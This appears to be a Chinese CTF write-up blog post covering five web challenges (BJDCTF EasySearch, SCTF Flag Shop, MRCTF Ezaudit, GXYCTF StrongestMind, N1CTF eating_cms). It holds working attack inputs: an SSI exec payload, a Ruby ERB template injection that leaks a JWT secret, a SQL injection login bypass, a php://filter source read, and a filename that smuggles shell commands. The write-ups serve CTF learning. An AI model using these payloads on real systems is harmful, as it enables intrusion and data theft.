[BJDCTF2020]EasySearch
swp源码泄露,需要md5前6位固定
import hashlib
for i in range(10000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
b = a[0:6]
if b == '6d0bc1':
print(i)
print(a)
然后是SSI注入
SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
payload:
username=<!--#exec cmd="ls ../"-->
password=2020666
[SCTF2019]Flag Shop
Ruby的模板注入,离谱。。。。。。参考链接
在robots.txt中发现提示/filebak,打开获得源码。
利用的注入点:
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
如果do和name匹配则输出name中的值,存在长度限制,注意到前面有一次对密钥的正则匹配,这里用Ruby的预变量。
$': The string to the right of the last successful match.
传入do和name=<%=$\'%>(编码后)
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
伪造jwt密钥修改money购买flag即可。
[MRCTF2020]Ezaudit
审计PHP代码发现$Public_key = KVQP0LdJKRaV3n9D,可以借此得到该PHP代码使用的随机数种子,简单处理后直接拿脚本跑(注意PHP版本)。
发现登陆框,直接上万能密码
1' or 1 = 1#
[GXYCTF2019]StrongestMind
写个脚本进行计算就行了
import re
import requests
from time import sleep
def count():
s = requests.session()
url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1001):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)
print(r.text)
if __name__ == '__main__':
count()
[N1CTF 2018]eating_cms
有外网渗透内味儿了
发现能用伪协议读源码,读一下function.php,发现ffffllllaaaaggg,但存在过滤。
这里利用parse解析的漏洞:
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
根据得到的信息访问templates/upload.html,发现是个假的。。。。。。
查看upllloadddd.php文件,发现命令执行
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
在m4aaannngggeee中上传文件,修改文件名
;cd ..;cat flag_233333;#
bingo!